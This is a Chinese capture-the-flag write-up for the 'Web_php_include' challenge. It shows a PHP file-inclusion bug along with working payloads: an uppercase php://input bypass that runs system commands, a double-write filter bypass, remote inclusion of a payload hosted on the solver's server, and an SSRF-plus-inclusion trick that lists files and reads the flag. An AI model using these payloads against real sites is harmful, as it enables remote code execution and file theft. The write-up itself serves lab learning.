攻防世界-web:Web_php_include
题目描述
暂无
题目截图
解题过程
1)题目代码
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
2)解题思路
根据题目代码可以看到后台可以接收两个参数
hello和page
其中page参数会判断是否存在php://字段,如果存在,则会进行str_replace替换,将php://替换为空。
然后进行对page参数值的包含操作。
hello参数则是直接输出在网页显示。
那么思路就可以有以下几种:
1)由于strstr函数对大小写不敏感,可以进行大写绕过。(strstr函数作用是查找匹配字段在目标字符串的位置,并返回当前位置及其以后的所有字符串,例如strstr("i am hacker!","am")则会返回am hacker!。)
2)由于str_replace函数是替换目标字段为空,则可以进行双写绕过。
3)题目本意是禁用php://协议,我们可以使用http协议、ftp协议等。
2.1 大写绕过
Payload:
POST /?page=PHP://input HTTP/1.1
Host: 111.200.241.244:63404
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
<?php system("cat *.php");?>
2.2 双写绕过
分析代码,代码中由于使用了while判断,所以程序会一直进行str_replace操作,相当于将字符串中所有的php://循环替换为空了,所以此题无法进行双写绕过。
如果代码改成if判断则可以进行双写绕过。代码如下:
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
if (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
双写绕过Payload为:
page=php://phpphp://://input
这样利用方法跟上面的大写绕过一样了。
2.3 HTTP、FTP协议绕过
我们如果有VPS,则可以开一个web服务,并将包含的Payload放到web目录下,支持web访问。web服务可以利用paython启动:
python3 -m http.server 8007
Payload如下:
exp.txt
<?php system("cat *.php");?>
将此exp.txt放到部署好的web根目录中,并提取web访问链接,如:http://xxx.xxx.xxx.xxx:8007/exp.txt
经过测试发现此方法不行,也不知道具体原因。猜测可能题意不让进行外部http协议包含,在程序上做了些限制吧。等待大神受教。
参考个别师傅的解法,他们使用hello这个参数,利用http协议+ssrf+文件包含原理进行解题。解题过程如下:
由于hello这个参数可以直接打印在网页上,如果给hello这个参数出入php代码,再利用page这个参数将此网页进行文件包含,可以直接执行hello参数回显的代码。
查看当前目录文件
Payload:
http://111.200.241.244:63404/?page=http://127.0.0.1/?hello=<?=`ls`;
flag在fl4gisisish3r3.php里。
读取flag
方法很多,show_source;heighlight_file;file_get_contents;readfile;但是不能使用system读取,具体原因未知。
Payload:
http://111.200.241.244:63404/?page=http://127.0.0.1/?hello=<?readfile("fl4gisisish3r3.php");
http://111.200.241.244:63404/?page=http://127.0.0.1/?hello=<?var_dump(file("fl4gisisish3r3.php"));